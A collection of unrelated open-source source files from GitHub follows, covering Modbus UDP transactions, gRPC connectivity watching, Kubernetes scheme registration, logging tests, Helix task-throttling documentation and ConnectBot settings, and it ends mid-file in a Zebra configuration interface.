/*** * Copyright 2002-2010 jamod development team * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ***/ package net.wimpi.modbus.io; import net.wimpi.modbus.Modbus; import net.wimpi.modbus.ModbusException; import net.wimpi.modbus.ModbusIOException; import net.wimpi.modbus.ModbusSlaveException; import net.wimpi.modbus.msg.ExceptionResponse; import net.wimpi.modbus.msg.ModbusRequest; import net.wimpi.modbus.msg.ModbusResponse; import net.wimpi.modbus.net.UDPMasterConnection; import net.wimpi.modbus.net.UDPTerminal; import net.wimpi.modbus.util.AtomicCounter; import net.wimpi.modbus.util.Mutex; /** * Class implementing the <tt>ModbusTransaction</tt> * interface for the UDP transport mechanism. * * @author Dieter Wimberger * @version @version@ (@date@) */ public class ModbusUDPTransaction implements ModbusTransaction { // class attributes private static AtomicCounter c_TransactionID = new AtomicCounter(Modbus.DEFAULT_TRANSACTION_ID); // instance attributes and associations private UDPTerminal m_Terminal; private ModbusTransport m_IO; private ModbusRequest m_Request; private ModbusResponse m_Response; private boolean m_ValidityCheck = Modbus.DEFAULT_VALIDITYCHECK; private int m_Retries = Modbus.DEFAULT_RETRIES; private int m_RetryCounter = 0; private Mutex m_TransactionLock = new Mutex(); private long m_RetryDelayMillis; /** * Constructs a new <tt>ModbusUDPTransaction</tt> * instance. */ public ModbusUDPTransaction() { }// constructor /** * Constructs a new <tt>ModbusUDPTransaction</tt> * instance with a given <tt>ModbusRequest</tt> to * be send when the transaction is executed. * <p/> * * @param request a <tt>ModbusRequest</tt> instance. */ public ModbusUDPTransaction(ModbusRequest request) { setRequest(request); }// constructor /** * Constructs a new <tt>ModbusUDPTransaction</tt> * instance with a given <tt>UDPTerminal</tt> to * be used for transactions. * <p/> * * @param terminal a <tt>UDPTerminal</tt> instance. */ public ModbusUDPTransaction(UDPTerminal terminal) { setTerminal(terminal); }// constructor /** * Constructs a new <tt>ModbusUDPTransaction</tt> * instance with a given <tt>ModbusUDPConnection</tt> * to be used for transactions. * <p/> * * @param con a <tt>ModbusUDPConnection</tt> instance. */ public ModbusUDPTransaction(UDPMasterConnection con) { setTerminal(con.getTerminal()); }// constructor /** * Sets the terminal on which this <tt>ModbusTransaction</tt> * should be executed. * <p> * * @param terminal a <tt>UDPSlaveTerminal</tt>. */ public void setTerminal(UDPTerminal terminal) { m_Terminal = terminal; if (terminal.isActive()) { m_IO = terminal.getModbusTransport(); } }// setConnection @Override public void setRequest(ModbusRequest req) { m_Request = req; // m_Response = req.getResponse(); }// setRequest @Override public ModbusRequest getRequest() { return m_Request; }// getRequest @Override public ModbusResponse getResponse() { return m_Response; }// getResponse @Override public int getTransactionID() { return c_TransactionID.get(); }// getTransactionID @Override public void setCheckingValidity(boolean b) { m_ValidityCheck = b; }// setCheckingValidity @Override public boolean isCheckingValidity() { return m_ValidityCheck; }// isCheckingValidity @Override public int getRetries() { return m_Retries; }// getRetries @Override public void setRetries(int num) { m_Retries = num; }// setRetries @Override public void execute() throws ModbusIOException, ModbusSlaveException, ModbusException { // 1. assert executeability assertExecutable(); try { // 2. Lock transaction /** * Note: The way this explicit synchronization is implemented at the moment, * there is no ordering of pending threads. The Mutex will simply call notify() * and the JVM will handle the rest. */ m_TransactionLock.acquire(); // 3. open the connection if not connected if (!m_Terminal.isActive()) { try { m_Terminal.activate(); m_IO = m_Terminal.getModbusTransport(); } catch (Exception ex) { throw new ModbusIOException("Activation failed."); } } // 3. Retry transaction m_Retries times, in case of // I/O Exception problems. m_RetryCounter = 0; while (m_RetryCounter <= m_Retries) { if (m_RetryCounter != 0) { Thread.sleep(m_RetryDelayMillis); } try { // toggle the id m_Request.setTransactionID(c_TransactionID.increment()); // 3. write request, and read response, // while holding the lock on the IO object synchronized (m_IO) { // write request message m_IO.writeMessage(m_Request); // read response message m_Response = m_IO.readResponse(); break; } } catch (ModbusIOException ex) { m_RetryCounter++; continue; } } // 4. deal with "application level" exceptions if (m_Response instanceof ExceptionResponse) { throw new ModbusSlaveException(((ExceptionResponse) m_Response).getExceptionCode()); } if (isCheckingValidity()) { checkValidity(); } } catch (InterruptedException ex) { throw new ModbusIOException("Thread acquiring lock was interrupted."); } finally { m_TransactionLock.release(); } }// execute /** * Asserts if this <tt>ModbusTCPTransaction</tt> is * executable. * * @throws ModbusException if this transaction cannot be * asserted as executable. */ private void assertExecutable() throws ModbusException { if (m_Request == null || m_Terminal == null) { throw new ModbusException("Assertion failed, transaction not executable"); } }// assertExecuteable /** * Checks the validity of the transaction, by * checking if the values of the response correspond * to the values of the request. * Use an override to provide some checks, this method will only return. * * @throws ModbusException if this transaction has not been valid. */ protected void checkValidity() throws ModbusException { }// checkValidity @Override public long getRetryDelayMillis() { return m_RetryDelayMillis; } @Override public void setRetryDelayMillis(long retryDelayMillis) { this.m_RetryDelayMillis = retryDelayMillis; } }// class ModbusUDPTransaction
{ "pile_set_name": "Github" }
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.ambari.server.checks; import org.apache.ambari.server.api.services.AmbariMetaInfo; import org.apache.ambari.server.orm.dao.RepositoryVersionDAO; import org.apache.ambari.server.state.CheckHelper; import org.apache.ambari.server.state.Clusters; import org.mockito.Mockito; import com.google.inject.Provider; /** * Used to help mock out cluster and repository queries. */ public class MockCheckHelper extends CheckHelper { public RepositoryVersionDAO m_repositoryVersionDAO = Mockito.mock(RepositoryVersionDAO.class); public Clusters m_clusters = Mockito.mock(Clusters.class); public MockCheckHelper() { clustersProvider = new Provider<Clusters>() { @Override public Clusters get() { return m_clusters; } }; repositoryVersionDaoProvider = new Provider<RepositoryVersionDAO>() { @Override public RepositoryVersionDAO get() { return m_repositoryVersionDAO; } }; } /** * Helper to set the AmbariMetaInfo provider instance */ public void setMetaInfoProvider(Provider<AmbariMetaInfo> provider) { metaInfoProvider = provider; } }
{ "pile_set_name": "Github" }
/* * * Copyright 2015 gRPC authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #include <grpc/support/port_platform.h> #include "src/core/lib/surface/channel.h" #include <inttypes.h> #include <grpc/support/alloc.h> #include <grpc/support/log.h> #include "src/core/ext/filters/client_channel/client_channel.h" #include "src/core/lib/iomgr/timer.h" #include "src/core/lib/surface/api_trace.h" #include "src/core/lib/surface/completion_queue.h" grpc_connectivity_state grpc_channel_check_connectivity_state( grpc_channel* channel, int try_to_connect) { /* forward through to the underlying client channel */ grpc_channel_element* client_channel_elem = grpc_channel_stack_last_element(grpc_channel_get_channel_stack(channel)); grpc_core::ApplicationCallbackExecCtx callback_exec_ctx; grpc_core::ExecCtx exec_ctx; grpc_connectivity_state state; GRPC_API_TRACE( "grpc_channel_check_connectivity_state(channel=%p, try_to_connect=%d)", 2, (channel, try_to_connect)); if (GPR_LIKELY(client_channel_elem->filter == &grpc_client_channel_filter)) { state = grpc_client_channel_check_connectivity_state(client_channel_elem, try_to_connect); return state; } gpr_log(GPR_ERROR, "grpc_channel_check_connectivity_state called on something that is " "not a client channel, but '%s'", client_channel_elem->filter->name); return GRPC_CHANNEL_SHUTDOWN; } typedef enum { WAITING, READY_TO_CALL_BACK, CALLING_BACK_AND_FINISHED, } callback_phase; namespace { struct state_watcher { gpr_mu mu; callback_phase phase; grpc_closure on_complete; grpc_closure on_timeout; grpc_closure watcher_timer_init; grpc_timer alarm; grpc_connectivity_state state; grpc_completion_queue* cq; grpc_cq_completion completion_storage; grpc_channel* channel; grpc_error* error; void* tag; }; } // namespace static void delete_state_watcher(state_watcher* w) { grpc_channel_element* client_channel_elem = grpc_channel_stack_last_element( grpc_channel_get_channel_stack(w->channel)); if (client_channel_elem->filter == &grpc_client_channel_filter) { GRPC_CHANNEL_INTERNAL_UNREF(w->channel, "watch_channel_connectivity"); } else { abort(); } gpr_mu_destroy(&w->mu); gpr_free(w); } static void finished_completion(void* pw, grpc_cq_completion* ignored) { bool should_delete = false; state_watcher* w = static_cast<state_watcher*>(pw); gpr_mu_lock(&w->mu); switch (w->phase) { case WAITING: case READY_TO_CALL_BACK: GPR_UNREACHABLE_CODE(return ); case CALLING_BACK_AND_FINISHED: should_delete = true; break; } gpr_mu_unlock(&w->mu); if (should_delete) { delete_state_watcher(w); } } static void partly_done(state_watcher* w, bool due_to_completion, grpc_error* error) { if (due_to_completion) { grpc_timer_cancel(&w->alarm); } else { grpc_channel_element* client_channel_elem = grpc_channel_stack_last_element( grpc_channel_get_channel_stack(w->channel)); grpc_client_channel_watch_connectivity_state( client_channel_elem, grpc_polling_entity_create_from_pollset(grpc_cq_pollset(w->cq)), nullptr, &w->on_complete, nullptr); } gpr_mu_lock(&w->mu); if (due_to_completion) { if (grpc_trace_operation_failures.enabled()) { GRPC_LOG_IF_ERROR("watch_completion_error", GRPC_ERROR_REF(error)); } GRPC_ERROR_UNREF(error); error = GRPC_ERROR_NONE; } else { if (error == GRPC_ERROR_NONE) { error = GRPC_ERROR_CREATE_FROM_STATIC_STRING( "Timed out waiting for connection state change"); } else if (error == GRPC_ERROR_CANCELLED) { error = GRPC_ERROR_NONE; } } switch (w->phase) { case WAITING: GRPC_ERROR_REF(error); w->error = error; w->phase = READY_TO_CALL_BACK; break; case READY_TO_CALL_BACK: if (error != GRPC_ERROR_NONE) { GPR_ASSERT(!due_to_completion); GRPC_ERROR_UNREF(w->error); GRPC_ERROR_REF(error); w->error = error; } w->phase = CALLING_BACK_AND_FINISHED; grpc_cq_end_op(w->cq, w->tag, w->error, finished_completion, w, &w->completion_storage); break; case CALLING_BACK_AND_FINISHED: GPR_UNREACHABLE_CODE(return ); break; } gpr_mu_unlock(&w->mu); GRPC_ERROR_UNREF(error); } static void watch_complete(void* pw, grpc_error* error) { partly_done(static_cast<state_watcher*>(pw), true, GRPC_ERROR_REF(error)); } static void timeout_complete(void* pw, grpc_error* error) { partly_done(static_cast<state_watcher*>(pw), false, GRPC_ERROR_REF(error)); } int grpc_channel_num_external_connectivity_watchers(grpc_channel* channel) { grpc_channel_element* client_channel_elem = grpc_channel_stack_last_element(grpc_channel_get_channel_stack(channel)); return grpc_client_channel_num_external_connectivity_watchers( client_channel_elem); } typedef struct watcher_timer_init_arg { state_watcher* w; gpr_timespec deadline; } watcher_timer_init_arg; static void watcher_timer_init(void* arg, grpc_error* error_ignored) { watcher_timer_init_arg* wa = static_cast<watcher_timer_init_arg*>(arg); grpc_timer_init(&wa->w->alarm, grpc_timespec_to_millis_round_up(wa->deadline), &wa->w->on_timeout); gpr_free(wa); } int grpc_channel_support_connectivity_watcher(grpc_channel* channel) { grpc_channel_element* client_channel_elem = grpc_channel_stack_last_element(grpc_channel_get_channel_stack(channel)); return client_channel_elem->filter != &grpc_client_channel_filter ? 0 : 1; } void grpc_channel_watch_connectivity_state( grpc_channel* channel, grpc_connectivity_state last_observed_state, gpr_timespec deadline, grpc_completion_queue* cq, void* tag) { grpc_channel_element* client_channel_elem = grpc_channel_stack_last_element(grpc_channel_get_channel_stack(channel)); grpc_core::ApplicationCallbackExecCtx callback_exec_ctx; grpc_core::ExecCtx exec_ctx; state_watcher* w = static_cast<state_watcher*>(gpr_malloc(sizeof(*w))); GRPC_API_TRACE( "grpc_channel_watch_connectivity_state(" "channel=%p, last_observed_state=%d, " "deadline=gpr_timespec { tv_sec: %" PRId64 ", tv_nsec: %d, clock_type: %d }, " "cq=%p, tag=%p)", 7, (channel, (int)last_observed_state, deadline.tv_sec, deadline.tv_nsec, (int)deadline.clock_type, cq, tag)); GPR_ASSERT(grpc_cq_begin_op(cq, tag)); gpr_mu_init(&w->mu); GRPC_CLOSURE_INIT(&w->on_complete, watch_complete, w, grpc_schedule_on_exec_ctx); GRPC_CLOSURE_INIT(&w->on_timeout, timeout_complete, w, grpc_schedule_on_exec_ctx); w->phase = WAITING; w->state = last_observed_state; w->cq = cq; w->tag = tag; w->channel = channel; w->error = nullptr; watcher_timer_init_arg* wa = static_cast<watcher_timer_init_arg*>( gpr_malloc(sizeof(watcher_timer_init_arg))); wa->w = w; wa->deadline = deadline; GRPC_CLOSURE_INIT(&w->watcher_timer_init, watcher_timer_init, wa, grpc_schedule_on_exec_ctx); if (client_channel_elem->filter == &grpc_client_channel_filter) { GRPC_CHANNEL_INTERNAL_REF(channel, "watch_channel_connectivity"); grpc_client_channel_watch_connectivity_state( client_channel_elem, grpc_polling_entity_create_from_pollset(grpc_cq_pollset(cq)), &w->state, &w->on_complete, &w->watcher_timer_init); } else { abort(); } }
{ "pile_set_name": "Github" }
# -*- coding: utf-8 -*- # Generated by Django 1.9 on 2016-04-25 18:02 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('oidc_provider', '0013_auto_20160407_1912'), ] operations = [ migrations.AddField( model_name='client', name='jwt_alg', field=models.CharField( choices=[(b'HS256', b'HS256'), (b'RS256', b'RS256')], default=b'RS256', max_length=10, verbose_name='JWT Algorithm'), ), ]
{ "pile_set_name": "Github" }
/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package v1beta1 import ( metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/runtime" "k8s.io/apimachinery/pkg/runtime/schema" ) // GroupName is the group name use in this package const GroupName = "client.authentication.k8s.io" // SchemeGroupVersion is group version used to register these objects var SchemeGroupVersion = schema.GroupVersion{Group: GroupName, Version: "v1beta1"} // Resource takes an unqualified resource and returns a Group qualified GroupResource func Resource(resource string) schema.GroupResource { return SchemeGroupVersion.WithResource(resource).GroupResource() } var ( SchemeBuilder runtime.SchemeBuilder localSchemeBuilder = &SchemeBuilder AddToScheme = localSchemeBuilder.AddToScheme ) func init() { // We only register manually written functions here. The registration of the // generated functions takes place in the generated files. The separation // makes the code compile even when the generated files are missing. localSchemeBuilder.Register(addKnownTypes) } func addKnownTypes(scheme *runtime.Scheme) error { scheme.AddKnownTypes(SchemeGroupVersion, &ExecCredential{}, ) metav1.AddToGroupVersion(scheme, SchemeGroupVersion) return nil }
{ "pile_set_name": "Github" }
/* * (C) 2007-2012 Alibaba Group Holding Limited. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.taobao.gecko.core.core.impl; import java.nio.ByteBuffer; import java.nio.CharBuffer; import java.nio.charset.Charset; import com.taobao.gecko.core.buffer.IoBuffer; import com.taobao.gecko.core.core.CodecFactory; import com.taobao.gecko.core.core.Session; import com.taobao.gecko.core.util.ByteBufferMatcher; import com.taobao.gecko.core.util.ShiftAndByteBufferMatcher; /** * 编解码工厂的一个实现,用于文本行协议 * * * * @author boyan * * @since 1.0, 2009-12-16 下午06:05:26 */ public class TextLineCodecFactory implements CodecFactory { public static final IoBuffer SPLIT = IoBuffer.wrap("\r\n".getBytes()); private static final ByteBufferMatcher SPLIT_PATTERN = new ShiftAndByteBufferMatcher(SPLIT); public static final String DEFAULT_CHARSET_NAME = "utf-8"; private final Charset charset; public TextLineCodecFactory() { this.charset = Charset.forName(DEFAULT_CHARSET_NAME); } public TextLineCodecFactory(final String charsetName) { this.charset = Charset.forName(charsetName); } class StringDecoder implements CodecFactory.Decoder { public Object decode(final IoBuffer buffer, final Session session) { String result = null; final int index = SPLIT_PATTERN.matchFirst(buffer); if (index >= 0) { final int limit = buffer.limit(); buffer.limit(index); final CharBuffer charBuffer = TextLineCodecFactory.this.charset.decode(buffer.buf()); result = charBuffer.toString(); buffer.limit(limit); buffer.position(index + SPLIT.remaining()); } return result; } } private final CodecFactory.Decoder decoder = new StringDecoder(); public Decoder getDecoder() { return this.decoder; } class StringEncoder implements Encoder { public IoBuffer encode(final Object msg, final Session session) { if (msg == null) { return null; } final String message = (String) msg; final ByteBuffer buff = TextLineCodecFactory.this.charset.encode(message); final IoBuffer resultBuffer = IoBuffer.allocate(buff.remaining() + SPLIT.remaining()); resultBuffer.put(buff); resultBuffer.put(SPLIT.slice()); resultBuffer.flip(); return resultBuffer; } } private final Encoder encoder = new StringEncoder(); public Encoder getEncoder() { return this.encoder; } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!-- Copyright 2009-2012 The MyBatis Team Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/mybatis-3-config.dtd"> <configuration> <typeAliases> <typeAlias alias="Person" type="org.apache.ibatis.submitted.empty_namespace.Person"/> </typeAliases> <environments default="test"> <environment id="test"> <transactionManager type="JDBC"></transactionManager> <dataSource type="UNPOOLED"> <property name="driver" value="org.hsqldb.jdbcDriver"/> <property name="url" value="jdbc:hsqldb:mem:empty_namespace"/> <property name="username" value="sa"/> </dataSource> </environment> </environments> <mappers> <mapper resource="org/apache/ibatis/submitted/empty_namespace/Person.xml"/> </mappers> </configuration>
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <AddressBookCore/ABGroup.h> @interface ABSubscribedGroup : ABGroup { } + (BOOL)_isPublicRecord; + (id)nts_Groups; + (id)nts_GroupsWithAddressBook:(id)arg1; + (id)nts_GroupsAtRemoteLocation:(id)arg1; + (id)nts_GroupsAtRemoteLocation:(id)arg1 withAddressBook:(id)arg2; + (id)builtInProperties; + (id)searchElementForProperty:(id)arg1 label:(id)arg2 key:(id)arg3 value:(id)arg4 comparison:(long long)arg5; - (void)markRecordWithGroupSubscription:(id)arg1; - (BOOL)isSubscribed; - (BOOL)isPublishable; - (id)init; @end
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.deltaspike.data.impl.criteria.selection.strings; import org.apache.deltaspike.data.impl.criteria.selection.SingularAttributeSelection; import javax.persistence.criteria.CriteriaBuilder; import javax.persistence.criteria.CriteriaQuery; import javax.persistence.criteria.Path; import javax.persistence.criteria.Selection; import javax.persistence.metamodel.SingularAttribute; public class Trim<P> extends SingularAttributeSelection<P, String> { private final CriteriaBuilder.Trimspec trimspec; public Trim(SingularAttribute<? super P, String> attribute) { super(attribute); this.trimspec = CriteriaBuilder.Trimspec.BOTH; } public Trim(CriteriaBuilder.Trimspec trimspec, SingularAttribute<? super P, String> attribute) { super(attribute); this.trimspec = trimspec; } @Override public <R> Selection<String> toSelection(CriteriaQuery<R> query, CriteriaBuilder builder, Path<? extends P> path) { return builder.trim(this.trimspec, path.get(getAttribute())); } }
{ "pile_set_name": "Github" }
/* * Copyright 2016 Red Hat, Inc. and/or its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.drools.testcoverage.functional.parser declare DroolsTest arg: int end rule "test" when DroolsTest( arg == (1 + 1) ); // REMOVE THE COMMENTED PARTS BELOW TO GET THE EXCEPTION: (or eval(true); eval(true); ) then System.out.println( "it works!" ); end
{ "pile_set_name": "Github" }
// Copyright 2015 The etcd Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package types import "strconv" // ID represents a generic identifier which is canonically // stored as a uint64 but is typically represented as a // base-16 string for input/output type ID uint64 func (i ID) String() string { return strconv.FormatUint(uint64(i), 16) } // IDFromString attempts to create an ID from a base-16 string. func IDFromString(s string) (ID, error) { i, err := strconv.ParseUint(s, 16, 64) return ID(i), err } // IDSlice implements the sort interface type IDSlice []ID func (p IDSlice) Len() int { return len(p) } func (p IDSlice) Less(i, j int) bool { return uint64(p[i]) < uint64(p[j]) } func (p IDSlice) Swap(i, j int) { p[i], p[j] = p[j], p[i] }
{ "pile_set_name": "Github" }
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. is.autoload=true javac.source=1.8 javac.compilerargs=-Xlint -Xlint:-serial
{ "pile_set_name": "Github" }
#region License /* * Copyright © 2002-2007 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #endregion using System; using System.Reflection; using System.Runtime.Serialization; using NUnit.Framework; namespace Common.Logging { /// <summary> /// Exception with indexer property should be logged without <see cref="TargetParameterCountException"/> error /// </summary> /// <author>artem1</author> /// <version>$Id:$</version> public class LoggingExceptionWithIndexerBugTest { /// <summary> /// This bug was found by me in Npgsql driver for PostgreSQL (NpgsqlException) /// </summary> [Test] public void ErrorNotThrownWhenLoggedExceptionHasIndexerProperty() { ILog log = LogManager.GetCurrentClassLogger(); ExceptionWithIndexerException exception = new ExceptionWithIndexerException(); Assert.That(() => log.Error("error catched", exception), Throws.Nothing); } [Serializable] public class ExceptionWithIndexerException : Exception { public ExceptionWithIndexerException() { } public ExceptionWithIndexerException(string message) : base(message) { } public ExceptionWithIndexerException(string message, Exception innerException) : base(message, innerException) { } protected ExceptionWithIndexerException(SerializationInfo info, StreamingContext context) : base(info, context) { } public string this[string key] { get { return null; } } } } }
{ "pile_set_name": "Github" }
<!--- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <head> <title>Tutorial - Task Throttling</title> </head> ## [Helix Tutorial](./Tutorial.html): Task Throttling In this chapter, we\'ll learn how to control the parallel execution of tasks in the task framework. ### Task Throttling Configuration Helix can control the number of tasks that are executed in parallel according to multiple thresholds. Applications can set these thresholds in the following configuration items: * JobConfig.ConcurrentTasksPerInstance The number of concurrent tasks in this job that are allowed to run on an instance. * InstanceConfig.MAX_CONCURRENT_TASK The number of total concurrent tasks that are allowed to run on an instance. Also see [WorkflowConfig.ParallelJobs](./tutorial_task_framework.html). ### Job Priority for Task Throttling Whenever there are too many tasks to be scheduled according to the threshold, Helix will prioritize the older jobs. The age of a job is calculated based on the job start time.
{ "pile_set_name": "Github" }
/* Copyright 2015 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package leaderelection import ( "net/http" "sync" "time" ) // HealthzAdaptor associates the /healthz endpoint with the LeaderElection object. // It helps deal with the /healthz endpoint being set up prior to the LeaderElection. // This contains the code needed to act as an adaptor between the leader // election code the health check code. It allows us to provide health // status about the leader election. Most specifically about if the leader // has failed to renew without exiting the process. In that case we should // report not healthy and rely on the kubelet to take down the process. type HealthzAdaptor struct { pointerLock sync.Mutex le *LeaderElector timeout time.Duration } // Name returns the name of the health check we are implementing. func (l *HealthzAdaptor) Name() string { return "leaderElection" } // Check is called by the healthz endpoint handler. // It fails (returns an error) if we own the lease but had not been able to renew it. func (l *HealthzAdaptor) Check(req *http.Request) error { l.pointerLock.Lock() defer l.pointerLock.Unlock() if l.le == nil { return nil } return l.le.Check(l.timeout) } // SetLeaderElection ties a leader election object to a HealthzAdaptor func (l *HealthzAdaptor) SetLeaderElection(le *LeaderElector) { l.pointerLock.Lock() defer l.pointerLock.Unlock() l.le = le } // NewLeaderHealthzAdaptor creates a basic healthz adaptor to monitor a leader election. // timeout determines the time beyond the lease expiry to be allowed for timeout. // checks within the timeout period after the lease expires will still return healthy. func NewLeaderHealthzAdaptor(timeout time.Duration) *HealthzAdaptor { result := &HealthzAdaptor{ timeout: timeout, } return result }
{ "pile_set_name": "Github" }
/* * ConnectBot: simple, powerful, open-source SSH client for Android * Copyright 2017 Kenny Root, Jeffrey Sharkey * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.connectbot; import org.connectbot.util.VolumePreference; import org.connectbot.util.VolumePreferenceFragment; import com.takisoft.preferencex.PreferenceFragmentCompat; import android.os.Bundle; import androidx.fragment.app.DialogFragment; import androidx.preference.Preference; /** * Created by kenny on 2/20/17. */ public class SettingsFragment extends PreferenceFragmentCompat { public SettingsFragment() { } /** * Called when a preference in the tree requests to display a dialog. Subclasses should * override this method to display custom dialogs or to handle dialogs for custom preference * classes. * * @param preference The Preference object requesting the dialog. */ @Override public void onDisplayPreferenceDialog(Preference preference) { if (preference instanceof VolumePreference) { DialogFragment fragment = VolumePreferenceFragment.newInstance(preference); fragment.setTargetFragment(this, 0); fragment.show(getFragmentManager(), "android.support.v7.preference.PreferenceFragment.DIALOG"); } else { super.onDisplayPreferenceDialog(preference); } } @Override public void onCreatePreferencesFix(Bundle bundle, String rootKey) { setPreferencesFromResource(R.xml.preferences, rootKey); } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2011-2018, Meituan Dianping. All Rights Reserved. * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * *    http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.dianping.zebra.group.config; import com.dianping.zebra.group.config.system.entity.SqlFlowControl; import com.dianping.zebra.group.config.system.entity.SystemConfig; import java.beans.PropertyChangeListener; import java.util.Map; public interface SystemConfigManager { void init(); void addListerner(PropertyChangeListener listener); SystemConfig getSystemConfig(); Map<String, 